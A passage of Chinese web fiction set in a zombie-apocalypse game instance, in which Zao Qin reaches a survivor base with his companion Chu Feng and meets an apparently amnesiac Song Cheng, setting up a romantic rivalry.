车内变成了基地的烘焙屋,桌子上放着蛋糕坯,旁边有个模具,需要他弄差不多大小的蛋糕坯进去。 就是因为他知道自己实际上在做什么,两个场景的诡异差距,才让枣芩在行动时皱起了眉。 说到底伤口也不大不深,血液都滴落到了夹克上,渗进去。 褚风清醒后,第一反应就是迫切去查看枣芩的状况,副驾驶空空荡荡,他瞳孔骤然紧缩,心中想法如乱线缠绕。 下一刻,他往后看,就看到了陷在被子里正睡得香甜的枣芩,才狼狈松懈神经。 他居然觉得枣芩自己走了。 枣芩走了该有多危险,可转念想,若是病毒蔓延开他变成了丧尸,枣芩会更危险。 那更不是他愿意看到的。 他缓缓转回僵硬脖颈,看到了身上的灰色毯子,以及手臂上缠绕着的白纱布。 或许枣芩根本没想过放弃他。 …… 枣芩比他想象的要勇敢得多,也非常有主动性。 他有自己的想法目标,会为了自己的目标而努力,不妥协、不退缩、不自我欺骗。 他会想学车,嘴上说着不要了,也仅仅只说了一句,就接着学了。 他想离开基地,面对未知的危险也不拖延。被捉住一次,被困住,会想办法应对,再寻找机会。 哪怕生活安逸,有一定范围内的自由。他想要的只要能做到,涂晋都会送到他手上,他依旧知道自己要干什么。 枣芩是个柔软、漂亮的胆小鬼吗?或许是,但他有一颗纯粹的、像植物一样的心。 不停地找缝隙生长枝芽。 会小声小气的哭,会郁闷,但不会失去生机。 枣芩出现在他的生命中,他爱上枣芩,是天经地义的事情。 · 事实证明,挽肉是可行的,但意外发生时,没几个人能做得到。 伤口不大,除了挽肉过程中的疼痛,他醒来后几乎没再感受到疼痛,只有伤口在飞速愈合的痒。 他说出来的时候,枣芩捧着水瓶在副驾驶位上喝水,他扬起下巴轻轻哼了声,眼底有些小得意。 褚风在单手开车,压下扬起的唇角,他忽然停了车。 枣芩看过来,看出他脸色忽然不大对,拧住瓶盖看向他的手臂,小声说:“要我换我开吧。” “不用,就是突然有点疼。”他闭了闭眼,跟枣芩说:“有个办法。” 枣芩:“……什么?” “你亲我一下,我可能会觉得好受一点。”他说着就凑过去。 枣芩白他一眼,“不要,两天不可以亲我,说好的。” “但你可以亲我。” “我不……”谁要亲他。 “求你,脸上就行,一下。” 枣芩犹豫了又犹豫,垂下乌暗睫毛,在听到褚风“嘶”了声后,慢吞吞凑上去,还小声说:“这个没用的。” 猝不及防的。 褚风扭头,在枣芩嘴唇上亲了下。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 第 91 章 见到宋呈 去往首城基地的路上, 褚风这个对自己的身体粗神经的人,都察觉到了自己的伤口恢复过快,到了不正常的程度。 这或许对他来说是好事, 在进入基地时, 不用因为被怀疑伤口携带病毒而和枣芩分开隔离。 可他又怎么可能开心得起来。 褚风靠在椅背上, 看向身旁窝着看书的枣芩, 只觉得指尖空落,连个烟的替代品都没, 太阳穴一跳一跳不停歇。 每行驶一米, 他的心脏都会更窒闷一分。 甚至升起一种极端念头。 ——要是、再来一大波丧尸,让他们被迫换路。 可路上只遇到了五六次丧尸, 每次都没有多到需要调头的程度。 他哪怕开得慢,也来到了终点。 首城基地确实要相对更完善,进入首城开始,一路上都有指示牌指引方向, 能顺利把来者引领到基地附近。 距离基地还有不到一千米。 褚风戛然将车停在指示牌旁边,紧握着方向盘。 枣芩的激动溢于言表, 腰背挺得直直的,盯着前方的路。见他停下,转头问:“怎么了?” 褚风一言不发,唇角翘起一点生硬弧度, 看不出什么笑意。 他对着枣芩张开双臂, 眼中复杂情绪如暗云般翻腾。 枣芩顿了秒,明白他的意思,葱白手指慢吞吞搭在他手心,肤色对比明显,褚风握住他的手。 枣芩被褚风半扶半抱来到驾驶位, 坐在他腿上。 白而小的脸被摸着,褚风大拇指指腹抚过他微鼓的唇瓣。枣芩抬着眼,抓住了他的手,琥珀色眼睛里没有对他的留恋,轻轻笑了下。 他看见枣芩微张开唇,说了声:“谢谢你。这一路上多亏了你的照顾。” 枣芩眼神就像他说的话,诚恳又认真。 怎么能这样? 褚风面上没变,胸腔却突然难受得厉害,以至于呼吸困难。 仿佛就是一场交易。 他安全送枣芩到宋呈身边,交换是,枣芩给他制造了一场潮湿甜美的梦。 马上就是梦境终结回到现实的时刻。 可是他已经把他的一切,他的五脏六腑,他情感的权杖,交在了枣芩笨拙的手中。给他把玩、随意丢弃。 “芩芩……让我抱一会吧。”褚风狼狈垂下头,声音细微颤抖。 褚风也不知道除此之外,他还能再做什么。 枣芩主动搂上他的脖子,耸耸肩,还没来得及靠过去,下一秒褚风的手臂就勒住了他的腰,简直恨不得把他给按进身体里。 枣芩抿了下唇,什么也没说。 首城基地的流程早已成熟,对新人的到来没有半点意外。带他们检查,登记信息,通过信息库来验证身份信息。 褚风的伤口已经生出新肉,工作人员询问时,褚风说是被之前的同伴暗算受伤。 枣芩听他睁眼说瞎话,在一旁压着雀跃,透着窗往外张望。 这伤一看就久远,都马上愈合了。如果是携带丧尸病毒,此时早该丧尸化。但工作人员还是给他们验了血。 外面进来两个工作人员,说是负责带他们去住处。 首城基地占地面积大,都需要开车过去。工作人员掏出车钥匙,带领两人走出检查室。 “最近来的人还真不少,看着状态都怪不错的。” “确实……而且他长得好,漂亮啊。”这个工作人员声音放得很小,最后三个字几乎是伴随着气飘着出来的,都不敢回头去看。 “嘿嘿,长眼的都能看出来漂亮。名字也好听,枣芩,我都没见过这个姓的。” “靠,你大爷的……小声点。”他怒给了对方一手肘,咬牙切齿:“我真服了。” “你有病啊。” 枣芩被前面两人吸引注意力,他好像听到了自己的名字。 “呀。那位今天出去啊。”说了这句话后,前面两个人脚步陡然都定住。 枣芩扭头,顺着他们的视线看去,原本茫然的眼睛倏地睁大,他目光定定,微微张开了唇。 身侧挨着走的褚风脸色骤变。 距离他们几十米远的位置,身着黑色作战服的男人身形颀长劲瘦,气质冷淡疏离,对着身旁毕恭毕敬的人吩咐着什么。 那是对枣芩来说无比熟悉又有些时间没见的一张脸。 枣芩小脸呆愣着,喃喃出声:“宋呈。” 他声音很小,隔着这么远的距离不可能听到,那男人却如有所感,掀起眼皮朝着这边看了眼。 枣芩睫毛颤着与宋呈对视上,时间流速好像变慢。他站在那里,像一个固执清韧的小竹笋,咬住下唇,忽然瞪了宋呈一眼。 把他带进这个副本说好会好好保护他,让他什么都不用做就通关,现在呢? 骗子。 可被他这么看着的宋呈,没有像枣芩想的会冲过来抱住他,没有失控,没有歉意,甚至没有任何表情变化。 凉薄目光从枣芩身上轻轻掠了过去,视若无物,黑色作战服的男人对着身侧人说完最后一句话,上了车。 …… 一只大手把他拉入怀中,手按在他后脖颈。枣芩都没发觉,褚风的身体不知为什么,在细微发抖。 被刻意压得温和担忧的语气安抚枣芩:“他可能有事忙,芩芩。” 可是有什么事情,能忙到跟枣芩说一句话的时间都没有。 褚风放在枣芩背上的指节微微抽动,盯着宋呈离开的方向,瞳孔缩了缩,心底遏制不住感到狂喜,几乎被从天而降的喜悦给冲得头脑发昏。 命运对他太过优待了。 枣芩今天有多激动只有他知道,觉都不睡、书也不看,就盯着前方的路还有多少。 枣芩一直期盼着来首城基地,期盼着见到宋呈。褚风也做好了心理准备,难受不可避免,但他只要在枣芩附近就还有机会。 而现在,是他完全没有预料到的一种,好到出奇的状况。 枣芩就相当于是蹦蹦跳跳满心欢喜来了,被宋呈泼了一盆冷水,他懵然的模样,像只被水打湿的猫,皮毛都失去了漂亮的光泽。 枣芩作为当事人沉浸在情绪中,或许没反应过来。 但褚风却无比清晰的知道,宋呈不对劲,他面对枣芩的时候不可能会是这种眼神。 像是看第一次见面的人。 他们的情绪在短时间内发生颠倒。褚风不在乎宋呈是什么原因,被楼塌下来砸傻了还是脑子突然坏了。 他最好一直这样。 褚风打心底谢谢他。 坐车到了分配的住房,枣芩就缩到被子里埋着头不动了。 房子挺大,床是双人床,各种设施都齐全。 褚风明白自己需要给枣芩时间独自消化一下,压抑着上翘的嘴角,俯身来到枣芩身边,轻声说:“我去看一看基地的状况,等会一起去吃饭好吗?” “好就伸出手和我拜拜。” 被子缝隙下,伸出一只手,欺霜赛雪,指节泛着淡粉。褚风大手轻轻握上,摩挲他的手指,“等会就回来。” 枣芩倒不是多难过,他就是郁闷,懵,脑袋嗡嗡的,不知道自己该怎么办了。 他本以为找到宋呈就可以很快离开副本,就像达到目标就会得到奖励。 他现在感受,就像是自己很努力做到一件事,却没得到应有的奖励,还失去了接下来的方向。 不管宋呈是不想带着他了,还是别的…… 枣芩觉得有必要跟他坐下来,面对面说说,最好能知道一些线索。 还有他的补偿! 枣芩掀开被子,一下从被子里坐起来,闷红的脸蛋气鼓鼓。 对,他要补偿。如果不是宋呈的原因,他才不会进这种危险副本,遇到涂晋这个神经病。 “副首领,有件事情觉得应该跟您说一下……您的那位同学申请进实验室,但是他进来的时间太短,也没有通过审核……” 李城从副驾驶回头去看后座,试探性说道。 宋呈没回答,眉头拧着,盯着窗外,神色莫测。 李城实在捉摸不透他的想法。 宋呈是上层一位领导人的儿子,才是个大学生,还没毕业。不久前才来到基地,手段雷厉风行,以荒谬的速度晋升到副首领。 三天前基地来了个戴眼镜的青年,资料显示和宋呈来自同一所大学,话里话外都是熟稔,还去了趟宋呈办公室。 他们到底关系好不好,自己会不会惹事,该不该开个后门,李城额头都出了层汗。 他踌躇一下,“副首领?……那让他进了?” 宋呈这才朝他看过来,李城瞬间绷起神经。 后座的男人神色不动,说话凉飕飕的,“李队长这么需要我帮你做决定吗?” 轻飘飘一句话让李城缩了回去,咬住牙,脸上肌肉一跳一跳。 真是够了!到底是用不用开后门? 话说不清楚可以去死,他累了。 宋呈不是有意不把话说清楚,主要是他没听到对方说了什么。 视线扫着快速后退的风景,他眉头再度拧起。脑海中无法遏制浮现一张脸,一张雪白的脸。 迎着今天不算明亮的阳光,像是一幅画,风吹得碎发轻轻摇晃,像要从画中给晃出来。 宋呈认为自己并不在意皮囊这种外物,都不得不承认,大多数人看到他,心跳都会漏跳一拍。 为什么要对着他用那种有点怪罪、又似乎有点委屈的眼神,好像看到了很熟悉亲近的人,在等着他过去。 宋呈是个任务者,他记得自己没刻意选择身份,副本自动分配,这种副本通常不会分配需要扮演的角色。 比如,到现在为止,他都没有见到自己的‘父亲’。 对方或许会是这个身份的朋友……或者别的关系。 可他身旁分明站着一个身型高大的男人,还与他姿态亲密。宋呈透着窗,窥到那男人把他搂在怀里,手摸着他的脖颈,他也没反抗。 宋呈得出结论,他们关系不一般。 他莫名眉头拧得更紧,喉中闷涩难忍,像堵着什么东西,烦闷不堪。 这关他什么事? 交接了资料,宋呈在回去的路上翻看完,回到基地办公室,那种如鲠在喉的感觉都一直没消失。 门外有人敲门进来汇报,“副首领,您回来之后有位新来基地的……同学,来找过您,说是您的熟人。” 宋呈想到车上李城说的话,也是说什么同学。前两天确实有个来过他办公室的‘同学’,还算有点用。 但他现在不想见人。 “知道了,打发走吧。”宋呈按了按太阳穴。 他的住所连接着办公室,开道门就到了。宋呈洗澡途中,一直寡淡的欲望忽然汹涌起来,他无视做自己该做的事,等一切消退。 天光大亮。 宋呈猛然睁开眼坐起身,呼吸错乱,难得恍惚。 他向来不做梦忽然做了梦,居然会真实得这样不可思议。 真是疯了。 仅仅就是远远看了对方一眼,梦里居然清晰到了对方睫毛翘起的弧度,委屈柔腻的腔调,收窄细瘦的腰腹。 还有被他吻得七荤八素,水声作响的失神表情…… 而宋呈自己完全像变了个人,他跪在沙发旁,跟条败犬似的,由着对方携着清香气息的手颤着,一巴掌扇在他脸上,把他扇得脸错开。 心底酸爽麻痒。 对着一个第一次见面的npc小男生,做了肮脏龌龊的梦。 还是个有对象的。 他下颚绷紧,眼中不可置信。 见了鬼了。 第92章 第 92 章 此芩芩不简单 “不是朋友, 已经结婚了。” 食堂二层,褚风所在的桌子聚过来了几个年纪不大的毛头小子,约莫十七八岁的样子, 如果在末世前, 应该是高中生, 一个个精神头十足。 褚风是个实打实的雇佣兵, 手上沾过血,长相也如他的身份般凶厉。要是照褚风以前的模样, 他们肯定不敢凑过来。 但自从来到这个基地, 褚风的心情就很好,明明是冬天, 他却像正处于生命中的春夏,连带着周身散发出的压迫感收敛了很多。 此时他勾着一边唇角,看起来心情不错,朝出餐处看了眼。 他的回答显然不是这几个少年想要的, 他们面面相觑片刻,脸上难掩意外之色。 “结婚?他到结婚年龄了吗?他明明看起来就, ” 凑在最前面的这愣头青不知道想到什么,忽然像被谁踩到尾巴了似的,红了脸。 年纪小,心思也不会藏。就算没结婚, 枣芩又不会看上他们几个愣头青。 他们对他实在没威胁性, 所以他并没放在心上,但还是有些不爽的。褚风蔑然笑了声,骨节分明的手指掐着他们递过来的一根廉价烟,没回答。 他没打算抽,就在手里过过瘾, 要是抽了,避免不了沾上味。 旁边另一个突然出声,语气透着浓浓的失望,也没有什么遮掩的意思,“哦……我还以为你们是叔侄呢。” 手中脆弱的烟被忽然加大的力气捏碎,烟草散了一手心,褚风太阳穴猛然跳了跳,连带着瞳孔紧缩。 叔侄?! 周身气压不可控制低下去。 他和芩芩,叔侄? 他朝那愣头青缓缓看去,对方被他眼白都透着凌烈的眼神吓得后退半步,讪讪吞咽了下口水,“……” 服务人员过来把打包好的饭盒放在桌子上,被这里僵硬的低气压挤压,放下饭盒就头也不回小跑着离开。 褚风单手提起饭盒,冷俊脸上面无表情,把手上的廉价烟草抖了抖,烟已经被捏粉碎。 他平静:“我回家和我老婆吃饭了,你们也早点回家吧,别让妈妈担心了。” 转身离开之际,没注意到宋呈刚好从他们旁边径直走过。 褚风回到家时枣芩还在睡觉,褚风昨晚睡在左边,起来后就空了一块。 比起他离开时,枣芩转了个方向,此时朝向另一边,被子没盖好,露着一小片骨肉均亭的背,白净皮肤上散落着几枚令人遐想的红痕,是被舔吮过的痕迹。 ——他弄的。 褚风原本烦躁的情绪顿时烟消云散,被妥帖熨平。如果连他都躁闷,别人也没活法了。 他随手将饭盒搁在圆桌上,迈步走过去,俯身动作温柔盖住枣芩的背。手指碰了下,皮肤温热,应该刚刚翻身不久,没被冷到就好。 明显察觉到了他的手,枣芩动了动,脸埋进了被子里去,跟只小猫崽子似的蹭蹭被子,因为被打扰睡觉,不悦地哼哼了声。 哼完又不动了,就白生生的脖颈露着。 褚风喘了下气,伸手摸枣芩头发,略粗糙的声线放得轻也依旧不够很温柔,“芩芩,起来吃饭吧?睡很久了。” 但这声音,要是餐厅那几个少年在,听着都会瞠目结舌头皮发麻,怀疑是不是同一个人的程度。 枣芩其实早上醒了一会,之后又睡着了,睡了得有十个小时,越睡越困越睡越想睡。 但他昨晚答应了褚风等到今天下地的时候要跟着去。他们昨天被分配了工作,在基地生活都要为基地出一份力才行。 褚风身高体壮又有枪,本应该会被分去外出队,但他不打算离开枣芩,外出队经常出去,这都是霸占着他和枣芩的相处时间。 不知道用了什么办法,褚风被分去修缮围墙,枣芩则因为比较瘦小,一副没干过活的样子,被分去了种植。 褚风当然不会让枣芩去干活,两份都包揽了。首城基地比较人性化,每个人每天需要干的活并不多,也不会管这活到底是谁干的。 枣芩占了他便宜,心底不太好意思,扭扭捏捏说了句谢谢、他会和褚风一起的。 褚风受宠若惊,搂着人哄着亲了两口,不打算让他下地。 褚风早上就去把自己的活干了,估摸到快到正午,打算趁热把枣芩的活干了。 但现在先得让枣芩把饭吃了。 “不吃饭胃会不舒服,忘记胃疼了?”他说着,两手隔着被子抓着枣芩的胳膊让他坐起来,要给他穿衣服。 枣芩闹起床气,也不是很饿,跟没有骨头似的靠在他身上,感受到褚风的大手从腰间滑下,给他穿上上衣。 他眼皮终于抬了起来,睫毛颤颤,忽然想到什么被自己逗得小声笑了。 褚风听到他笑,也控制不住扬起唇角,挑眉看他,“笑什么?” 枣芩刚睡醒,脸上白里透红,衣服也凌乱没正儿八经穿好,看着是乖得要命。 小嘴一张却是一句,“你像当爹一样。” 褚风笑容僵在脸上:…… 爹一样。 叔侄。 他看起来是和枣芩差了辈份吗? 明明他们没差几岁,他老吗? 枣芩的话没有别的意思,可他不久前刚被餐厅那愣头青刺激到了。 这句话跟导火索一样,把他的火药桶点着,在他肺里炸了。他憋闷得慌,从喉中挤出一句:“我不是你爹,我是你老公。” 他低头就冲着枣芩的嘴亲了上去,粉的,软的,猝不及防还没合上。 他牙齿轻轻咬着枣芩的下唇瓣,惩罚他说自己像爹,说像哥哥或者保姆也好啊。 细微的一点疼痛,把刚醒来,脑子还不清醒的枣芩吓得唔唔叫,还以为褚风真的要咬他了。 褚风想,要是别人亲枣芩,肯定已经昏头了,他不一样,他还能停下来。 褚风磨了一会,松开枣芩的唇肉,语气沙哑问:“我看起来……还行吗?” 他说不出,我看起来老吗?或者年纪大吗? 枣芩舔了舔被咬的地方,小脸皱着,还好不是很疼,但也疼。他没压住脾气,伸手推了褚风一把,“你看起来像狗,烦人。” 褚风笑着握住枣芩推他的手,抓着他的细长手指按在唇上,亲了两下。 时不时要发一下癫的狗。 枣芩围着围巾,身上裹得严严实实,坐在小板凳上看书。太阳刚刚好,暖又不烈。 他看了眼在他的地里的褚风,本该是自己在那里,一下子不生气他咬自己嘴巴了。 褚风干活的时候还是很好,很帅的。 眼看着褚风干得差不多了,枣芩打算给他送个水,左看右看,枣芩拿起水瓶,阳光下里面空荡荡,只有瓶壁上残留几滴。 枣芩心虚偷看了眼褚风,尴尬地吐了吐舌头,他没注意就喝光了。 枣芩起身,讲究地把书倒扣,放在小板凳上,以免回来还要翻页数。拿着水瓶就朝着家里跑去。 这个时候大部分人都在吃饭,路上基本没人。 一个拐弯处,枣芩压根没注意到前面有人,一点声音都没有,枣芩措手不及撞了上去。 对方被他携着似有若无的香味撞了个满怀,先是一僵,手虚虚搭在了枣芩背上,稳住他的身体。 确实是枣芩跑急了,是他的责任,他也不知道转角会有人站在这里,有点担心把人撞坏。 这人要比枣芩高一些,枣芩喘着气,抱歉地抬起头。小声道歉:“不好意……” 话蓦然消失在了口中。 枣芩哽住,愣愣看着面前的男人,脸上原本的歉意消失的一干二净,片刻后,反倒抿起嘴唇,眉心微蹙。 对方看起来冷淡平静的眼眸注视着他,身体略微僵硬。 说了句,“你没事吧。” 宋呈压着自己怪异的心跳,没漏掉枣芩任何一点表情变化,视线往下,一错不错盯着。 不管是偏直的睫毛在眼下的一点阴影,还是抬头的瞬间,从围巾中漏出来的嘴唇,亦或者是,说不定道不明的熟悉香味。 ——好像他已经细细嗅闻了很多次。 跟他梦到的一模一样,五官细节分毫不差,比起那天,近距离看还要更漂亮。 一瞬间,昨晚梦中的一切就像潮水涌过来,把他淹没。 枣芩对他的态度并不好,本来还打算道歉,看到他的脸就变了主意。唇线绷得直直的,后退两步从他怀中挣出去,就要离开。 很不喜欢他的样子。 宋呈呼吸一滞,慌乱之下握着了他细细一截手腕,枣芩的手有些凉。 “你跟他什么关系?”宋呈快速开口。 明明在餐厅已经听到了,他也不知道自己此刻为什么还要问。 这是非常不礼貌的,突兀的。 他问出这话自己都愣了秒。 “关你什么事呢?”枣芩脸红了又白,语气有点冲。 要是昨天宋呈这么问,他还会心虚解释一下。而且他们领了副本的结婚证又不是真夫妻。 可现在的宋呈有什么资格这么问他。 宋呈抛弃了他。 他千辛万苦来到首城基地找到宋呈,一直期待着,一直念想着。宋呈会好好保护他,这句承诺。 没找他就算了,宋呈只要肯道歉,枣芩也不会生气,毕竟他们是因为意外才分开。可是他进来这里的第一天,宋呈不仅不理不睬,也没问他过得怎么样,有没有受委屈、被欺负。 这样也算了。 他昨天晚上去找过宋呈,希望把一切都聊明白,各走各路也可以。可站在门口,清楚听到了宋呈毫不留情的一句“打发走吧。” 现在又是在干什么? 还要对他释放讨厌的占有欲。 “松开我的手!”枣芩忿忿瞪他,宋呈不松开。枣芩咬牙小声威胁,“你再不松开我,我就喊人了。” 和梦里一样的坏脾气。 手腕在手中挣扎,宋呈没握得太紧,枣芩另一只手掰起他手指。 宋呈应该松开让他离开的,可是心底有一个念头,不能让他离开自己,要和枣芩解释。解释什么? 盯着他近在咫尺,一张一合的嘴唇。宋呈鬼使神差的,皱起眉,心里头涌现出一种燃烧的热意。他喉结往下压,呼吸略加重。 …… 对面的人忽然停止了挣脱的动作,抬眼看他,他身体发紧,见枣芩轻轻冷哼了声,微抬起下巴。 轻声问:“想亲我吗?” 宋呈瞳孔震颤。 枣芩好歹也跟他相处有段时间了,也亲过那么几回,宋呈这眼神,他闭着眼睛都知道宋呈什么意思。 不由得更恼火了,这么坏的人,还想亲他嘴巴。 见他僵着不说话,枣芩又说:“说出来我就让你亲,不过你先得松开我的手。” 手腕上的手指僵硬的松了。 一张冰块脸上表情变了又变,眼底闪烁着荒唐错愕,眉头拧起又松开,好像是在挣扎, 他薄唇动了下,很有个人特色的冷调声音说:“想……。” 他没有等到一个施舍的吻,只等到了枣芩恶劣的言语。 “你怎么有脸说想?你亲我脚还差不多呢。” 他飞速说完就立马绕道要跑,又被宋呈身体反应胳膊一把抱住,没跑走。 枣芩也慌,也怕他生气,手里紧紧捏着瓶子,急头白脸的咬唇,心里已经想好怎么反唇相讥。 却只看着了宋呈通红的脖子耳朵,以及明显在吞咽口水的喉结,一时语塞。 “真恶心,还想亲我的脚,不要脸的骗子,做白日梦去吧……” 【这是高手、】 【此芩不简单!】 【手长得漂亮,想必脚也……】 【这么多新人,都不知道吗?那我不说了】 【你不说我也不说。】 【你们都不说,那我也不说了,我就等着看他什么时候发现】 宋呈靠在墙上,闭了下眼,气流从胸腔不断涌进涌出,一遍遍冲刷着身体的异常。 枣芩耍他,根本没打算让他亲。 都没打算让他亲。 第93章 第 93 章 正宫的地位,小三的做派…… “骗子?”宋呈用气音极低在口中重复了遍, 脑海中还有枣芩这么叫他时的模样。 他的怀疑是对的,枣芩认识他。 可惜,现在的他不是枣芩认识的那个宋呈。 不过, 他可以是。 · 枣芩觉得首城基地人性化、民, 主的评价, 在第二天他就决定收回。 事情发生的很突然, 一大早,有人上门来。说褚风的工作分配有错误问题, 需要根据基地需求进行更优的调整, 把他分配去可以发挥出更大作用、更适合他的岗位。 简而言之就是,修墙种地屈才了, 你需要加入外出队。 对方的话并不是建议,而是通知。 “不过你可以放心,薪酬肯定是比干其他的只多不少,而且外出队成员的家属有优待, 就不强求工作了。” 只说好处,不说外出队丧命的可能性、负伤的可能性都会更大。并且话头直指枣芩, 连枣芩的活是褚风干的都知道。 枣芩竖着耳朵听了半天,眉心轻轻皱了下,下床走向门口。褚风高大身体堵在门上,枣芩过去手指抓着他背上的布料, 探头看了眼。 上门的人有点眼熟, 是那天带他们过来的其中一个,负责的工作还挺多。 枣芩刚醒不久,惺忪感还没完全消退,浑身散发着柔软的温和气息,茫然盯着他看。 秦金铄本就有暗暗期待的成分, 刚才以为见不到了,却忽然看到人,不禁眼睛一亮,爽朗笑着打招呼,“hi枣芩,是我吵醒你的吗?” 枣芩被他自来熟的笑容搞得愣了下,缓缓摇头,实话说:“不是的,没敲门之前就醒了。” 因为昨天下午把那本书看完了,就陷入了一个读书倦怠期,别的都没什么兴趣。昨天晚上没熬夜看书,自然就睡得比较早,今天醒得也稍微早点。 “那就好,如果是我把你吵醒的,那我肯定要给你留下坏印象。”秦金铄挠挠头,“就很糟糕了。” 枣芩抿了下唇,“不会,这是你的工作嘛。” 褚风眼看着秦金铄当着他的面,还想继续和枣芩搭腔,下颌骨危险的绷了绷,挡在两人中间,阻隔了秦金铄的视线,眉目凌冽并不友善。 他转头对上枣芩时又变了样,夹腔捏调,“外面冷,风全灌进来了,先回床上等我吧。” “噢。”枣芩小声应了句。 褚风转过身,秦金铄再张望时,枣芩已经回去了。 秦金铄这人没皮没脸还固执,暗示褚风应该请他进去喝个水,褚风已经在努力按耐想动手的冲动了。 好在这人见没什么可能性,就走了。 枣芩若有所思坐在木椅子上,看着窗外,褚风半佝着身子看他,“不开心了?” “没有……我就是在想、”枣芩看向他,忽然闭嘴。 “什么?” “没什么。” 枣芩就是在想是不是宋呈搞的鬼。 “生活在群体里,总要受限制的,很正常。” 褚风倒是没怀疑到宋呈身上,宋呈应该是失忆了,除了进来那天,宋呈就没见过枣芩,也没理由对自己下手。 但枣芩看起来兴致不高,因为他要经常离开。 褚风烦躁情绪中,反而生出点微妙幸福。 他安抚说:“我观察过了,这里一天不止会出去一趟,我都尽量早上出去,有时候说不定你还没睡醒就能回来。” 枣芩垂眸没说话。 · 褚风早上才刚加入外出队,当天下午就被要求一起出去。 盯着枣芩慢吞吞吃完饭,褚风莫名的右眼皮乱跳,有种不祥的预感。 他眉头皱着,跟要去远门似的叮嘱,“现在这个季节会有流感,基地医疗设施都没多好,尽量少出门。如果出去记得戴口罩,都在门口的柜子上。” 枣芩没回答,他问:“知道吗?” “嗯,知道的。”枣芩点点头。 褚风顿了顿,欲言又止,还是没忍住用了比较迂回的话,没直接说不准搭理宋呈,“如果宋呈来找你,你会怎么做?” “……怎、怎么做?”枣芩支支吾吾。 褚风:“他做了那么多让你伤心的事,如果碰到他就立马走掉,多余的话都不要说。” 枣芩:“噢。” 他翘着睫毛,心虚摸摸鼻尖。 已经说了怎么办? 褚风人一走,周围随之万籁俱寂,枣芩感觉屋子里变得空荡荡,只有他干巴巴的一个人,连看书都没什么意思了。 可紧接着,枣芩都不知道褚风有没有出大门。 他家的门又被光顾了,‘咚咚咚’响几了下,他还以为是褚风忘带东西,小跑着去开门。 看到的却是一张不认识的脸,对方与他对视片刻,怔住,随后率先开口说:“你是枣芩?” 枣芩困惑点点头,心里升起一种荒谬的想法。 ——又要干什么?他也要加入外出队吗? 对方解释了来意:“因为基地的管理在加强,现在有一项新的规定。新来基地的人都要去我们检查人员那边过一下,你好像还没去。” 枣芩想了想说:“我刚进来的时候就检查过了,我没有丧尸病毒。” “不是这个意思,是,需要到我们的上层领导那里过一下面……了解了解。” 枣芩有点懵的穿好衣服,惦记着褚风的话不忘戴口罩,跟着工作人员亦步亦趋去了不远处的另一栋楼。 他被带到一个宽敞的房间,看到里面的人,瞬间拉下小脸。 宋呈坐在办公桌前,有种拒人于千里之外的气息。他听到开门的动静,稍稍抬眼看到是枣芩,面上并没太多表情变化,捏紧了手上的笔。 而手下的黑笔,已经在白纸上,写了不知道个劲骨丰肌的‘枣芩’…… 枣芩承认自己昨天说的话有点过分了,其实当时候跑走上楼的时候,心里就觉得自己说的话不太好听,有点侮辱人了。 那也没办法了,枣芩心里对他说一句sorry。 “坐吧,我去倒水。”宋呈嗓音平淡,似乎并没有把昨天的事放在心上。 枣芩并腿坐在沙发上,接过递到手中的玻璃水杯,温度正好微热,他小口抿着喝起来。 宋呈靠在办公桌前,低眼看他。 枣芩没有在生气的时候,长长睫毛垂着,是很单纯无害的长相,连抱着水杯的手指都透着一股清纯味。 怎么也看不出来昨天恶劣的,像耍狗一样耍他、戏弄他。 枣芩察觉到他的视线,莫名生出点拘谨,试探着抬起睫毛看了他一眼。 上目线,跟带着钩子似的。 霎时,宋呈就想起了昨天在拐角处看到的画面。 才刚刚对着他口出恶言的枣芩,转头捧着刚刚接好水的水,送到另一个男人身边,表情态度变了个彻底。 像是个温柔的小妻子,为自己劳累的丈夫拿水喝。 那男人显然很喜欢他,额头碰了下他的额头,姿态亲昵愉悦,如果不是他刚刚干完活身上不干净,那样子应该下一秒就会亲枣芩一口。 他当时就心中无名火起。 “我们分开了之后,你过得怎么样?”宋呈的语气像是对着朋友闲聊,他这话说的不具体,挑不出错处。 还知道问…… 枣芩不看他。 愤怒是因为有过期待,而期待落空又怎么能不生出委屈。 明明出事的一天,发生的事情还都清晰无比。宋呈趁着褚风出去,摸着枣芩的手抬起来按在车窗上,凑上来轻吻枣芩的下巴尖,唇角。 “他一直在偷看你。”他没遮掩自己的醋意,哪怕枣芩当时都不知道褚风大概长什么样子,只知道他抽烟。 枣芩觉得宋呈在发神经,褚风出去也不知道具体时间,要是回来的时候看到他们这幅样子,那可就丢死人了。 “别亲、别亲了……”枣芩小声小气的拒绝,开始侧头躲他灼热的吻,都躲不开。 而再次见面,却是凉薄到像看陌生人的视线,仿佛枣芩变成了麻烦包袱,生怕沾上他似的。 褚风不想让他来见宋呈,他装可怜又撒娇,褚风才答应和他一起来见一面,心里一直在忐忑不安的期待,听到的却是宋呈让人把他打发走。 “过得怎么样……”枣芩小声重复这句话,耷拉的眼睫细密颤抖。 如果被涂晋欺负、欺骗算好的话,如果在黑夜被人堵到小巷子里算好的话,如果担惊受怕算好的话,那他过得挺好的。 他不知道该怎么回答。 枣芩站起身,把水杯搁在桌子上,转身想回家。 手臂被人松松拉拽着,枣芩被拉到了宋呈面前,细瘦腰背被两只大手按着,他整个人都轻松嵌进了宋呈怀里。 枣芩把手挤到胸前推了下,“你又搞什么?我要回去了。” 宋呈抱着他不撒手,手从一边抱过去都摸到了另一边单薄的肩膀,他手背青筋明显,紧了紧,“好委屈的样子,他没照顾好你。” 枣芩冷哼了声,扯了下嘴角:“可比你强多了。” 宋呈感受着怀里柔软的身体,有种心中缺失的某一块仿佛被补上,一直不明所以空落落的感觉终于消失。 他仿佛就该这么抱着枣芩。 宋呈喉结微动,循循善诱道:“我让你委屈了,我该说对不起。” 枣芩眼底氤氲雾气,鼻尖耸了耸,声音小小的,“你不想跟我一起了可以直说,讨厌我了也可以直说,我从来没有要缠着你的意思……明明就是你。” 听着他可怜兮兮的话,宋呈眉头不由得拧起,意识到了自己和枣芩绝对不是普通的关系。 但现在的当务之急,是让枣芩原谅他,比起完全不认识的陌生人身份,肯定是有过一段过去的‘旧情人’,更有亲近枣芩的机会。 “对不起,没有不想跟你一起,更没有讨厌你。” 宋呈是发自内心的说:“怎么可能讨厌你……” 不等枣芩反驳质问,他自己就想到了他们第一次见面的时候,已经开始解释了。 他声音艰涩,刚开始干哄人的事很不熟练,可开了一个头,就非常顺畅了,“那天我看到你的时候,其实想去找你的,但当时有一个非常紧急的任务……” 